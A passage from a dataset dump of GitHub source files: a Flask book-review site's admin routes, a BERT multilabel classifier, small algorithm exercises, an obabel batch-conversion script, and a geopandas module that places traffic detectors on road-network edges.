books_functions.get_all_authors()\n genres = genre_functions.get_all_genres()\n\n return render_template(\"addbook.html\", authors=authors, genres=genres, error=error, year_now=year_now)\n else:\n return redirect(\"/\")\n\n@app.route(\"/addauthor\", methods=[\"GET\", \"POST\"])\ndef add_author():\n if users_functions.admin():\n error = \"\"\n\n if request.method == \"POST\":\n users_functions.check_csrf()\n\n name = request.form[\"name\"]\n if 3 < len(name) < 100:\n author_added = books_functions.add_author(name)\n if author_added:\n return redirect(\"/\")\n\n else:\n error = \"Author already exists.\"\n else:\n error = \"Author's name must be 4-99 characters long.\"\n\n return render_template(\"addauthor.html\", error=error)\n else:\n return redirect(\"/\")\n\n@app.route(\"/addgenre\", methods=[\"GET\", \"POST\"])\ndef add_genre():\n if users_functions.admin():\n error = \"\"\n\n if request.method == \"POST\":\n users_functions.check_csrf()\n\n name = request.form[\"name\"]\n if 1 < len(name) < 51:\n genre_added = genre_functions.add_genre(name)\n if genre_added:\n return redirect(\"/\")\n \n else:\n error = \"Genre already exists.\"\n else:\n error = \"Genre's name must be 2-50 characters long.\"\n\n return render_template(\"addgenre.html\", error=error)\n else:\n return redirect(\"/\")\n\n@app.route(\"/genres/\")\ndef genre(id):\n genre = genre_functions.get_genre_name(id)\n books = genre_functions.get_genre_books(id)\n\n return render_template(\"genre.html\", genre=genre, books=books)\n\n@app.route(\"/search\", methods=[\"GET\", \"POST\"])\ndef search():\n books = books_functions.get_all_books()\n year_now = datetime.datetime.now().year\n\n if request.method == \"POST\":\n title = request.form[\"title\"]\n author = request.form[\"author\"]\n earliest_year = request.form[\"earliest_year\"]\n latest_year = request.form[\"latest_year\"]\n description = request.form[\"description\"]\n genres = request.form.getlist(\"genre\")\n minrating = request.form[\"rating\"]\n if title == \"\":\n title = \"%\"\n if author == \"\":\n author = \"%\"\n if description == \"\":\n description = \"%\"\n books = books_functions.search_books(title, author, earliest_year, latest_year, description, genres, minrating)\n\n genres = genre_functions.get_all_genres()\n\n return render_template(\"search.html\", books=books, year_now=year_now, genres=genres)\n\n@app.route(\"/users\")\ndef users():\n if users_functions.admin():\n\n users = users_functions.get_all_users()\n\n return render_template(\"users.html\", users=users)\n else:\n return redirect(\"/\")\n\n@app.route(\"/users/\", methods=[\"GET\", \"POST\"])\ndef user(id):\n if users_functions.admin():\n\n if request.method == \"POST\":\n users_functions.check_csrf()\n if request.form[\"submit\"] == \"Return rights to comment\":\n users_functions.return_rights(id)\n\n if request.form[\"submit\"] == \"Revoke rights to comment\":\n users_functions.revoke_rights(id)\n\n if request.form[\"submit\"] == \"Delete user\":\n users_functions.delete_user(id)\n return redirect(\"/users\")\n\n user = users_functions.get_user_by_id(id)\n\n return render_template(\"user.html\", user=user)\n else:\n return redirect(\"/\")","repo_name":"MillaKelhu/tietokantasovellus","sub_path":"routes.py","file_name":"routes.py","file_ext":"py","file_size_in_byte":11854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11507428854","text":"import os\nimport transformers\nfrom torch import nn\nimport torch\nimport sys\n\ntransformers.BERT_PRETRAINED_MODEL_ARCHIVE_MAP[\"pbert-v1\"]=\"proteiinipertti-v1/pytorch_model.bin\"\ntransformers.BERT_PRETRAINED_CONFIG_ARCHIVE_MAP[\"pbert-v1\"]=\"proteiinipertti-v1/config.json\"\ntransformers.tokenization_bert.PRETRAINED_VOCAB_FILES_MAP[\"vocab_file\"][\"pbert-v1\"]=\"proteiinipertti-v1/vocab.txt\"\ntransformers.tokenization_bert.PRETRAINED_POSITIONAL_EMBEDDINGS_SIZES[\"pbert-v1\"]=512\ntransformers.tokenization_bert.PRETRAINED_INIT_CONFIGURATION[\"pbert-v1\"]={'do_lower_case': False}\n\n\nclass MlabelSimple(nn.Module):\n\n @classmethod\n def from_cpoint(cls,f_name):\n d=torch.load(f_name)\n #bert=transformers.BertModel.from_pretrained(\"pbert-v1\")\n bert=transformers.modeling_bert.BertModel.from_pretrained(pretrained_model_name_or_path=f_name.replace(\".torch\",\".bert\"))#,state_dict=d[\"classifier_state_dict\"],config=d[\"bert_config\"])\n bert.train()\n m=cls(bert,d[\"label_count\"])\n m.classifier.load_state_dict(d[\"classifier_state_dict\"])\n m.classifier=m.classifier.cuda()\n m.classifier.train()\n return m, d\n\n def cuda(self):\n self.encoder=self.encoder.cuda()\n self.classifier=self.classifier.cuda()\n return self\n \n def train(self):\n self.classifier.train()\n self.encoder.train()\n\n def eval(self):\n self.classifier.eval()\n self.encoder.eval()\n\n def __init__(self,bert,label_count):\n super().__init__()\n self.label_count=label_count\n self.encoder=bert\n self.classifier=nn.Linear(self.encoder.config.hidden_size,label_count)\n\n def forward(self,encoder_input,sigm=True):\n last_hidden,cls=self.encoder(encoder_input)\n if sigm:\n return torch.sigmoid(self.classifier(cls))\n else:\n return self.classifier(cls)\n #classification_output=self.classifier(bert_encoded\n\n def save(self,f_name,xtra_dict={}):\n os.makedirs(f_name.replace(\".torch\",\".bert\"),exist_ok=True)\n self.encoder.save_pretrained(f_name.replace(\".torch\",\".bert\"))\n d={\"classifier_state_dict\":self.classifier.state_dict(),\n \"label_count\":self.label_count}\n for k,v in xtra_dict.items():\n assert k not in d\n d[k]=v\n torch.save(d,f_name)\n \n \nclass MlabelDecoder(nn.Module):\n\n @classmethod\n def from_bert(cls,bert,decoder_config_file):\n decoder=transformers.modeling_bert.BertModel(transformers.configuration_bert.BertConfig.from_json_file(decoder_config_file))\n decoder=decoder.cuda()\n return cls(bert,decoder)\n \n def __init__(self,encoder,decoder):\n super().__init__()\n self.encoder=encoder\n self.decoder=decoder\n self.classifier=nn.Linear(self.decoder.config.hidden_size,1)\n \n\n def forward(self,inp_classes,encoder_input=None,encoder_output=None,encoder_attention_mask=None):\n \"\"\"\n 'inp_classes': input to the decoder part\n 'encoder_input': the input data point itself\n 'encoder_output': the output of the encoder (if None, it will be calculated for you)\n 'encoder_attention_mask': If None, it will be all-ones, ie whole encoded input can be seen\n \"\"\"\n if encoder_output is None:\n if encoder_attention_mask is None:\n encoder_attention_mask=torch.ones_like(encoder_input)\n #print(encoder_input)\n #print(encoder_input.shape)\n preds_t=self.encoder(encoder_input,attention_mask=encoder_attention_mask)\n encoder_output=preds_t[2][-1] #TODO! VERIFY! preds_t[2] is the hidden_state_output, and [-1] is the last encoder layer\n positions=torch.ones_like(inp_classes)\n decoder_output=self.decoder(inp_classes,attention_mask=torch.ones_like(inp_classes),encoder_hidden_states=encoder_output,encoder_attention_mask=encoder_attention_mask,position_ids=positions)\n return encoder_output,encoder_attention_mask,decoder_output\n \n\n \n","repo_name":"fginter/transformer-mlabel","sub_path":"modelling_transformer_mlabel.py","file_name":"modelling_transformer_mlabel.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74625167873","text":"def uncommon_words(sentence1: str, sentence2: str)-> list:\n \"\"\"\n Given two strings representing sentences, return the words that are not common to both strings (i.e. the words that only appear in one of the sentences). You may assume that each sentence is a sequence of words (without punctuation) correctly separated using space characters. \n\n Example: given the following strings...\n\n sentence1 = \"the quick\", sentence2 = \"brown fox\", return [\"the\", \"quick\", \"brown\", \"fox\"]\n sentence1 = \"the tortoise beat the hare\", sentence2 = \"the tortoise lost to the hare\", return [\"beat\", \"to\", \"lost\"]\n sentence1 = \"copper coffee pot\", sentence2 = \"hot coffee pot\", return [\"copper\", \"hot\"]\n \"\"\"\n count = {}\n\n for word in sentence1.split():\n count[word] = count.get(word, 0) + 1\n \n for word in sentence2.split():\n count[word] = count.get(word, 0) + 1\n\n return [word for word in count if count[word] == 1]\n\nif __name__ == '__main__':\n vals = [[\"the quick\", \"brown fox\"], [\"the tortoise beat the hare\", \"the tortoise lost to the hare\"], [\"copper coffee pot\", \"hot coffee pot\"]]\n\n for val in vals:\n print(uncommon_words(sentence1=val[0], sentence2=val[1]))","repo_name":"Brian-Munene/DSA-challenges","sub_path":"uncommon_words.py","file_name":"uncommon_words.py","file_ext":"py","file_size_in_byte":1209,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"27253588640","text":"import argparse\nimport glob\nimport os\nimport sys\nfrom multiprocessing import Pool\nfrom pathlib import PosixPath\nfrom typing import List\n\n\ndef run(fn: str) -> None:\n key = \"_\".join(fn.split(\"/\")[-1].split(\".\")[0].split(\"_\"))\n os.system(f\"obabel {fn} -O ./result_sdf/{key}_.sdf -xrp -m\")\n return\n\n\ndef parser() -> argparse.Namespace:\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--result_pdbqt_dir\", type=PosixPath, default=\"./result_pdbqt\")\n parser.add_argument(\"--result_sdf_dir\", type=PosixPath, default=\"./result_sdf\")\n parser.add_argument(\"--ncpu\", type=int, default=4)\n parser.add_argument(\"--start\", type=int)\n parser.add_argument(\"--end\", type=int)\n args, _ = parser.parse_known_args()\n return args\n\n\ndef mp_pool(ncpu: int, fns: List[str]) -> None:\n pool = Pool(ncpu)\n r = pool.map_async(run, fns)\n r.wait()\n pool.close()\n pool.join()\n return\n\n\ndef main(args: argparse.Namespace) -> None:\n fns = glob.glob(os.path.join(args.result_pdbqt_dir, \"*.pdbqt\"))\n fns = fns[args.start : args.end]\n mp_pool(args.ncpu, fns)\n return\n\n\nif __name__ == \"__main__\":\n args = parser()\n if not os.path.exists(args.result_sdf_dir):\n os.makedirs(args.result_sdf_dir, exist_ok=True)\n main(args)\n","repo_name":"mseok/mol_preprocess","sub_path":"docking/split_sdf.py","file_name":"split_sdf.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"12311028752","text":"from funcs import *\r\n\r\n\r\ndef main():\r\n\r\n max_points = 30\r\n sizes = np.arange(6, max_points+1, step=2)\r\n errors_lagrange = []\r\n errors_splines = []\r\n for profile in elevation_profiles:\r\n errors_lagrange = []\r\n errors_splines = []\r\n x, y = loadTerraindata(profile)\r\n\r\n for ind, point_count in enumerate(sizes):\r\n\r\n print('terrain: ', profile, ' \\t', 'points: ', point_count)\r\n\r\n chosen_x, chosen_y, chosen_points = getEvenlyDistributedPoints(\r\n x, y, point_count)\r\n\r\n lagrange_x, lagrange_y = getLagrangeInterpolationValues(\r\n chosen_x, chosen_y, point_count, x)\r\n\r\n splines_x, splines_y = getSplineInterpolationValues(\r\n chosen_x, chosen_y, x)\r\n\r\n assert(int(x[-1]) == int(lagrange_x[-1]) == int(splines_x[-1]))\r\n assert len(splines_x) == len(splines_y) == len(\r\n lagrange_x) == len(lagrange_y) == len(x) == len(y)\r\n assert list(splines_x) == list(x) == list(lagrange_x)\r\n\r\n errors_lagrange.append(RMS(y, lagrange_y))\r\n errors_splines.append(RMS(y, splines_y))\r\n\r\n for val, type in enumerate(interpolationPlotType):\r\n displayAquiredData(x, y, chosen_x, chosen_y, lagrange_x, lagrange_y,\r\n splines_x, splines_y, profile, point_count, ind, type)\r\n\r\n errorPlot(errors_lagrange, errors_splines,\r\n sizes, point_count, profile, ind)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"hevgan/university","sub_path":"MN/proj3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1558,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"11172058416","text":"from collections import deque\nimport sys\n\ninput = sys.stdin.readline\nm, n, h = map(int, input().split())\n\ndq = deque([])\n\n# 3차원 좌표 \ndx = [1,-1,0,0,0,0]\ndy = [0,0,1,-1,0,0]\ndz = [0,0,0,0,1,-1]\n\ngraph = []\n# 토마토 입력\nfor i in range(h):\n temp = []\n for j in range(n):\n temp.append(list(map(int, input().split())))\n for k in range(m):\n # 주의 \n if temp[j][k] == 1:\n dq.append([i, j, k])\n graph.append(temp)\n\ndef bfs():\n while dq:\n # 토마토 위치의 좌표받기 \n x, y, z = dq.popleft()\n for i in range(6):\n nx = dx[i] + x\n ny = dy[i] + y\n nz = dz[i] + z\n if 0 <= nx < h and 0 <= ny < n and 0 <= nz < m and graph[nx][ny][nz] == 0:\n graph[nx][ny][nz] = graph[x][y][z] + 1\n dq.append([nx, ny, nz])\nbfs()\n\ncnt = 0\n# 전체 다 찾아봤을 때 토마토를 익히지 못 했다면(0이라면) -1 출력하고 종료\nfor i in graph:\n for j in i:\n for k in j:\n if k == 0:\n print(-1)\n exit(0)\n # 다 익혔으면 최댓값이 정답 \n cnt = max(cnt, max(j))\nprint(cnt - 1)","repo_name":"b2s-study/ps-study-step1","sub_path":"Baekjoon/gwcat0506/[7569] 토마토.py","file_name":"[7569] 토마토.py","file_ext":"py","file_size_in_byte":1207,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"73416115713","text":"\"\"\"\nCreated at EPFL 2020\n\n@author: Joachim Landtmeters\nPlacing detectors on edges\n\nInput requirements:\n- dataframe with edges, needed column names = 'N1', 'N2', 'length'\n- Linestring column in x-y coordinates (needed for interpolate function) with name = 'geom'\nNote: Linestring object can follow curves, not just straight lines between begin and end node\n\"\"\"\n# Choice between two implementations:\n# - single detectors\n# - multiple detectors at once\n\nimport pneumapackage.compassbearing as cpb\nfrom pneumapackage.__init__ import path_results\nfrom pneumapackage.settings import *\n\nimport geopandas as gpd\nimport pandas as pd\nimport osmnx as ox\nfrom pyproj import Proj\nfrom shapely.geometry import Point, LineString\nimport leuvenmapmatching.util.dist_euclidean as distxy\n\nfrom pathlib import Path\nimport os\n\n\n# Single implementation\n# gdf = dataframe with edges with Linestring object in x-y coordinates\n# distance = specified distance of point object from start node of linestring object\n# relative = place point object on relative position wrt to length of edge\n# reverse = specified distance of point object starting from end node of linestring object\n\n\nclass Detectors:\n\n def __init__(self, gdf_netw, n_det, length_detector, dfi, double_loops, lonlat=False, gdf_special=None):\n self.network = gdf_netw\n self.n_det = n_det\n self.dfi = dfi\n self.len_det = length_detector\n if type(double_loops) in (int, float):\n self.double_loops = True\n self.loop_width = double_loops\n else:\n self.double_loops = False\n self.loop_width = 0\n self.det_loc = make_double_detector(self.network, self.dfi, n_det=self.n_det, loop_width=self.loop_width,\n make_double_loops=self.double_loops)\n self.det_loc_latlon = get_xy_to_crs_double_loops(self.det_loc, n_det=self.n_det, double_loops=self.double_loops,\n lonlat=lonlat)\n self.det_edges = make_detector_edges(self.det_loc_latlon, self.len_det, double_loops=self.double_loops)\n self.features = edge_features(gdf_special, length_detector, lonlat=lonlat)\n self.det_edges_all = self.det_edges[0]\n self.det_edges_all_ts = {}\n self.det_selection = {}\n\n def info(self):\n det_info = {'number_detectors': self.n_det, 'distance_from_intersection': self.dfi,\n 'length_detector': self.len_det, 'double_loops': self.double_loops, 'loop_width': self.loop_width}\n return det_info\n\n def detector_selection(self, index_list):\n det_sel = self.det_edges_all[self.det_edges_all['_id'].isin(index_list)]\n self.det_selection = det_sel\n return det_sel\n\n def detector_projected(self):\n det_loc = self.det_loc\n tmp_det = pd.merge(det_loc, self.network[['_id', 'x1', 'y1', 'x2', 'y2']], how='left', on='_id')\n for ind in range(1, self.n_det + 1):\n tmp_det[f'crd{ind}'] = [t.coords[0] for t in tmp_det[f'detector {ind}']]\n det_proj = tmp_det.apply(help_det_proj, column_name=f'crd{ind}', axis=1)\n det_loc[f'proj_det{ind}'] = det_proj\n self.det_loc = det_loc\n\n def features_projected(self):\n ft = self.features\n ft = ft.reset_index()\n tmp_ft = pd.merge(ft, self.network[['_id', 'x1', 'y1', 'x2', 'y2']], how='left', on='_id')\n ft_proj = tmp_ft.apply(help_det_proj, column_name='xy', axis=1)\n ft['proj_feature'] = ft_proj\n ft.set_index(['_id', 'index'], inplace=True)\n self.features = ft\n\n def detector_to_shapefile(self, det_sel=False, filename=None, folder=path_results):\n detector = self.det_edges_all\n fn = ''\n if filename is not None:\n fn = filename\n if det_sel:\n detector = self.det_selection\n Path(folder + \"/shapefiles\").mkdir(parents=True, exist_ok=True)\n for det in range(1, self.n_det + 1):\n det_gdf = gpd.GeoDataFrame(detector[['_id', 'n1', 'n2']], geometry=detector[f'det_edge_{det}'])\n det_gdf_shp = det_gdf.copy()\n det_gdf_shp.crs = 'epsg:4326'\n shp_fn = os.path.join(folder, 'shapefiles', f'detector_{det}{fn}')\n det_gdf_shp.to_file(filename=shp_fn)\n if self.double_loops:\n det_bis_gdf = gpd.GeoDataFrame(detector[['_id', 'n1', 'n2']], geometry=detector[f'det_edge_{det}bis'])\n det_bis_gdf_shp = det_bis_gdf.copy()\n det_bis_gdf_shp.crs = 'epsg:4326'\n shp_fnbis = os.path.join(folder, 'shapefiles', f'detector_{det}bis{fn}')\n det_bis_gdf_shp.to_file(filename=shp_fnbis)\n\n\ndef make_detector(gdf, distance, relative=False, reverse=False):\n if distance < 0:\n raise Exception('distance should be positive. The value was: {}'.format(distance))\n if relative:\n if 1 < distance:\n raise Exception('distance should be lower or equal to 1 to be relative. '\n 'The value was: {}'.format(distance))\n if gdf.crs.to_epsg() == 4326:\n gdf = ox.project_gdf(gdf)\n name = []\n id_b = []\n if not reverse:\n for i, j in gdf.iterrows():\n if relative:\n d = gdf.loc[i, 'geometry'].interpolate(distance, normalized=relative)\n elif gdf['length'][i] > distance:\n d = gdf.loc[i, 'geometry'].interpolate(distance, normalized=relative)\n else:\n d = gdf.loc[i, 'geometry'].interpolate(0.1, normalized=True)\n id = gdf.loc[i, ['n1', 'n2']]\n name.append(d)\n id_b.append(id)\n else:\n for i, j in gdf.iterrows():\n if gdf['length'][i] > distance:\n d = gdf.loc[i, 'geometry'].interpolate(gdf.loc[i, 'length'] - distance, normalized=relative)\n else:\n d = gdf.loc[i, 'geometry'].interpolate(0.9, normalized=True)\n id = gdf.loc[i, ['n1', 'n2']]\n name.append(d)\n id_b.append(id)\n name = pd.DataFrame(name, columns=['detector_1'])\n id_b = pd.DataFrame(id_b, columns=['n1', 'n2'])\n name = pd.concat([name, id_b], axis=1)\n name_2 = gpd.GeoDataFrame(name, geometry=name.loc[:, 'detector_1'])\n return name_2\n\n\n# Multiple detectors\n# Better implementation and possibility to include double loops\n# gdf = dataframe with edges with Linestring object in x-y coordinates\n# distance = specified distance of point object from start node of linestring object\n# n_det = number of detectors to place on the edges ( >1: always detector at begin and end of edge)\n# (continued) other detectors are placed in between these two detectors with equal spacing between them\n# make_double_loops = construct double loops by placing an extra detector right behind every initial detector\n\n\ndef make_double_detector(gdf, distance, n_det=1, make_double_loops=True, loop_width=1):\n if distance < 0:\n raise Exception('distance should be positive. The value was: {}'.format(distance))\n if gdf.crs.to_epsg() == 4326:\n gdf = ox.project_gdf(gdf) # project unprojected geodataframe of network edges\n name = []\n id_b = []\n det_bearing = []\n new_loop_distance = []\n if make_double_loops:\n name_double = []\n if n_det > 1:\n for i, j in gdf.iterrows():\n det_loc_edge = [0] * n_det\n dist_help = max(1, 0.05 * gdf['length'][i]) # To get bearing of local part of the edge's length\n dist_help_rel = 0.1\n det_help = [0] * n_det\n # Create double loops\n if make_double_loops:\n det_loc_edge_double = [0] * n_det\n det_help = [0] * n_det * 2\n if gdf['length'][i] > (distance * 2) and gdf['length'][i] > loop_width:\n # assure order of detectors on edge (begin not after end)\n det_loc_edge[0] = gdf.loc[i, 'geometry'].interpolate(distance) # Begin detector, first in list\n det_help[0] = gdf.loc[i, 'geometry'].interpolate(distance + dist_help)\n if make_double_loops:\n det_loc_edge_double[0] = gdf.loc[i, 'geometry'].interpolate(distance + loop_width)\n det_help[n_det] = gdf.loc[i, 'geometry'].interpolate(distance + loop_width + dist_help)\n inter_length = (gdf['length'][i] - distance * 2)\n prev_dist = [distance]\n relative_distance = 1 / (n_det - 1)\n inter_det_length = relative_distance * inter_length\n tag = False\n for ind in range(1, len(det_loc_edge)):\n new_distance = (inter_det_length * ind) + distance\n det_loc_edge[ind] = gdf.loc[i, 'geometry'].interpolate(new_distance)\n det_help[ind] = gdf.loc[i, 'geometry'].interpolate(new_distance + dist_help)\n if make_double_loops:\n inter_length = (gdf['length'][i] - (distance + loop_width) * 2)\n inter_det_length = relative_distance * inter_length\n if 0.5 * loop_width < inter_det_length: # only one loop distance needed, 2 is too strict\n new_distance = (inter_det_length * ind) + distance + loop_width\n det_loc_edge[ind] = gdf.loc[i, 'geometry'].interpolate(new_distance - 0.5 * loop_width)\n det_help[ind] = gdf.loc[i, 'geometry'].interpolate(\n new_distance - 0.5 * loop_width + dist_help)\n det_loc_edge_double[ind] = gdf.loc[i, 'geometry'].interpolate(new_distance +\n 0.5 * loop_width)\n det_help[n_det + ind] = gdf.loc[i, 'geometry'].interpolate(new_distance\n + 0.5 * loop_width + dist_help)\n if len(det_loc_edge) - ind == 1: # Last detector\n det_loc_edge[ind] = gdf.loc[i, 'geometry'].interpolate(new_distance)\n det_help[ind] = gdf.loc[i, 'geometry'].interpolate(new_distance + dist_help)\n det_loc_edge_double[ind] = gdf.loc[i, 'geometry'].interpolate(\n new_distance + loop_width)\n det_help[n_det + ind] = gdf.loc[i, 'geometry'].interpolate(new_distance\n + loop_width + dist_help)\n else:\n # Place identical detectors (keep the number of detectors to have a valid dataframe)\n # rel=(prev_dist[ind-1]+inter_det_length*0.4)/gdf['length'][i]\n # det_loc_edge_double[ind-1]=gdf.loc[i,'geom'].interpolate(rel,normalized=True)\n # det_help[n_det+ind - 1] = gdf.loc[i, 'geom'].\\\n # interpolate(rel+dist_help_rel, normalized=True)\n tag = True\n rel = 0.5 * gdf['length'][i] - (loop_width * 0.5) # Place a detector in middle of link\n det_loc_edge[ind] = gdf.loc[i, 'geometry'].interpolate(rel)\n det_loc_edge_double[ind] = gdf.loc[i, 'geometry'].interpolate(rel + loop_width)\n det_help[ind] = gdf.loc[i, 'geometry']. \\\n interpolate(rel + dist_help)\n det_help[n_det + ind] = gdf.loc[i, 'geometry']. \\\n interpolate(rel + loop_width + dist_help)\n prev_dist.append(new_distance)\n if make_double_loops: # Place double loops for end detector on edge\n if tag:\n dist_special = 0.5 * gdf['length'][i] - (loop_width * 0.5)\n det_loc_edge[0] = gdf.loc[i, 'geometry'].interpolate(dist_special)\n det_help[0] = gdf.loc[i, 'geometry'].interpolate(dist_special + dist_help)\n det_loc_edge_double[0] = gdf.loc[i, 'geometry'].interpolate(dist_special + loop_width)\n det_help[n_det] = gdf.loc[i, 'geometry'].interpolate(dist_special + loop_width + dist_help)\n new_loop_distance.append(loop_width)\n else:\n new_loop_distance.append(loop_width)\n name_double.append(det_loc_edge_double)\n det_bearing.append(det_help)\n name.append(det_loc_edge)\n else:\n d_rel = 0.2 # Define relative distance instead of initial distance\n det_loc_edge[0] = gdf.loc[i, 'geometry'].interpolate(d_rel, normalized=True)\n det_help[0] = gdf.loc[i, 'geometry'].interpolate(d_rel + dist_help_rel, normalized=True)\n rel = (1 - d_rel * 2) / (n_det - 1)\n prev_dist = [d_rel]\n for ind in range(1, len(det_loc_edge)):\n new_distance = rel * ind + d_rel\n det_loc_edge[ind] = gdf.loc[i, 'geometry'].interpolate(new_distance, normalized=True)\n det_help[ind] = gdf.loc[i, 'geometry'].interpolate(new_distance + dist_help_rel, normalized=True)\n # if make_double_loops:\n # rel_dist=rel*0.2 + prev_dist[ind-1]\n # det_loc_edge_double[ind - 1] = gdf.loc[i, 'geom'].interpolate(rel_dist, normalized=True)\n # det_help[n_det + ind - 1] = gdf.loc[i, 'geom']. \\\n # interpolate(rel_dist + dist_help_rel, normalized=True)\n prev_dist.append(new_distance)\n if make_double_loops:\n if gdf['length'][i] > (loop_width + 2 * dist_help):\n dist_special = 0.5 * gdf['length'][i] - (loop_width * 0.5)\n for ind in range(0, len(det_loc_edge)):\n det_loc_edge[ind] = gdf.loc[i, 'geometry'].interpolate(dist_special)\n det_help[ind] = gdf.loc[i, 'geometry'].interpolate(dist_special + dist_help)\n det_loc_edge_double[ind] = gdf.loc[i, 'geometry'].interpolate(dist_special + loop_width)\n det_help[n_det + ind] = gdf.loc[i, 'geometry'].interpolate(dist_special +\n loop_width + dist_help)\n new_loop_distance.append(loop_width)\n else:\n dist_special = 0.5\n rel_loop = 0.1\n for ind in range(0, len(det_loc_edge)):\n det_loc_edge[ind] = gdf.loc[i, 'geometry'].interpolate(dist_special - rel_loop,\n normalized=True)\n det_help[ind] = gdf.loc[i, 'geometry'].interpolate(dist_special - rel_loop + dist_help_rel,\n normalized=True)\n det_loc_edge_double[ind] = gdf.loc[i, 'geometry'].interpolate(dist_special + rel_loop,\n normalized=True)\n det_help[n_det + ind] = gdf.loc[i, 'geometry'].interpolate(dist_special +\n rel_loop + dist_help_rel,\n normalized=True)\n new_loop_distance.append(2 * rel_loop * gdf['length'][i])\n name_double.append(det_loc_edge_double)\n det_bearing.append(det_help)\n name.append(det_loc_edge)\n id = gdf.loc[i, ['_id', 'n1', 'n2', 'highway', 'lanes', 'length']]\n id_b.append(id)\n else:\n for i, j in gdf.iterrows():\n det_help = [0]\n dist_help = min(1, 0.05 * gdf['length'][i])\n dist_help_rel = 0.1\n if gdf['length'][i] > distance:\n d = gdf.loc[i, 'geometry'].interpolate(distance)\n det_help[0] = gdf.loc[i, 'geometry'].interpolate(distance + dist_help)\n if make_double_loops:\n if gdf['length'][i] - 2 * distance > loop_width:\n d_2 = gdf.loc[i, 'geometry'].interpolate(distance + loop_width)\n det_help_double = gdf.loc[i, 'geometry'].interpolate(distance + loop_width + dist_help)\n name_double.append(d_2)\n new_loop_distance.append(loop_width)\n else:\n rel = gdf['length'][i] - distance\n d_2 = gdf.loc[i, 'geometry'].interpolate(rel)\n det_help_double = gdf.loc[i, 'geometry'].interpolate(rel + dist_help)\n name_double.append(d_2)\n new_loop_distance.append(gdf['length'][i] - distance)\n det_help.append(det_help_double)\n name.append(d)\n det_bearing.append(det_help)\n else:\n d = gdf.loc[i, 'geometry'].interpolate(0.5, normalized=True)\n det_help[0] = gdf.loc[i, 'geometry'].interpolate(0.5 + dist_help_rel, normalized=True)\n if make_double_loops:\n if gdf['length'][i] * 0.5 > loop_width:\n rel = loop_width / gdf['length'][i] + 0.5\n d_2 = gdf.loc[i, 'geometry'].interpolate(rel, normalized=True)\n det_help_double = gdf.loc[i, 'geometry'].interpolate(rel + dist_help_rel, normalized=True)\n name_double.append(d_2)\n new_loop_distance.append(loop_width)\n else:\n d_2 = gdf.loc[i, 'geometry'].interpolate(0.6, normalized=True)\n det_help_double = gdf.loc[i, 'geometry'].interpolate(0.6 + dist_help_rel, normalized=True)\n name_double.append(d_2)\n new_loop_distance.append(0.1 * gdf['length'][i])\n det_help.append(det_help_double)\n name.append(d)\n det_bearing.append(det_help)\n id = gdf.loc[i, ['_id', 'n1', 'n2', 'highway', 'lanes', 'length']]\n id_b.append(id)\n cols = ['detector ' + str(i + 1) for i in range(0, n_det)]\n cols_loops = ['detector ' + str(i + 1) + 'bis' for i in range(0, n_det)]\n name = pd.DataFrame(name, columns=cols)\n id_b = pd.DataFrame(id_b, columns=['_id', 'n1', 'n2', 'highway', 'lanes', 'length'])\n id_b.reset_index(drop=True, inplace=True)\n if make_double_loops:\n cols_bearing = ['bearing ' + str(i + 1) for i in range(0, n_det * 2)]\n det_bearing = pd.DataFrame(det_bearing, columns=cols_bearing)\n name_double = pd.DataFrame(name_double, columns=cols_loops)\n new_loop_distance = pd.DataFrame(new_loop_distance, columns=['loop_distance'])\n name = pd.concat([id_b, name, name_double, det_bearing, new_loop_distance], axis=1)\n else:\n cols_bearing = ['bearing ' + str(i + 1) for i in range(0, n_det)]\n det_bearing = pd.DataFrame(det_bearing, columns=cols_bearing)\n name = pd.concat([id_b, name, det_bearing], axis=1)\n name_2 = gpd.GeoDataFrame(name, geometry=name.loc[:, 'detector 1'])\n return name_2\n\n\n# Transform x-y coordinates back to lon-lat in WGS84\n\n\ndef get_xy_to_crs(gdf):\n a = pd.Series(gdf['detector_1'])\n a_x = list(a.apply(lambda p: p.x))\n a_y = list(a.apply(lambda p: p.y))\n p = Proj(proj='utm', zone=34, ellps='WGS84', preserve_units=False)\n lon, lat = p(a_x, a_y, inverse=True)\n c = {'lon': lon, 'lat': lat}\n df = pd.DataFrame(c)\n gdf = gdf.drop(['detector_1', 'geometry'], axis=1)\n gdf = pd.concat([df, gdf], axis=1)\n geom = [Point(xy) for xy in zip(gdf.lon, gdf.lat)]\n gdf = gpd.GeoDataFrame(gdf, crs='WGS84', geometry=geom)\n return gdf\n\n\ndef get_xy_to_crs_double_loops(gdf, n_det=1, double_loops=True, lonlat=False):\n new_gdf = []\n individ_gdf = []\n for i in range(1, n_det + 1):\n a = pd.Series(gdf['detector ' + str(i)])\n a_x = list(a.apply(lambda p: p.x))\n a_y = list(a.apply(lambda p: p.y))\n p_d = pd.Series(gdf['bearing ' + str(i)])\n p_x = list(p_d.apply(lambda p: p.x))\n p_y = list(p_d.apply(lambda p: p.y))\n p = Proj(proj='utm', zone=34, ellps='WGS84', preserve_units=False)\n # Detector coordinates transformation\n lon, lat = p(a_x, a_y, inverse=True)\n c = {'lon': lon, 'lat': lat}\n df = pd.DataFrame(c)\n df['lonlat'] = list(zip(df.lon, df.lat))\n df['xy'] = list(zip(a_x, a_y))\n # Bearing points coordinates transformation\n p_lon, p_lat = p(p_x, p_y, inverse=True)\n p_c = {'lon_p': p_lon, 'lat_p': p_lat}\n df_p = pd.DataFrame(p_c)\n p1 = [tuple(xy) for xy in zip(df.lat, df.lon)]\n p2 = [tuple(xy) for xy in zip(df_p.lat_p, df_p.lon_p)]\n bearing = [cpb.calculate_initial_compass_bearing(p1[j], p2[j]) for j in range(0, len(p1))]\n gdf = gdf.drop(['detector ' + str(i)], axis=1)\n gdf = gdf.drop(['bearing ' + str(i)], axis=1)\n if 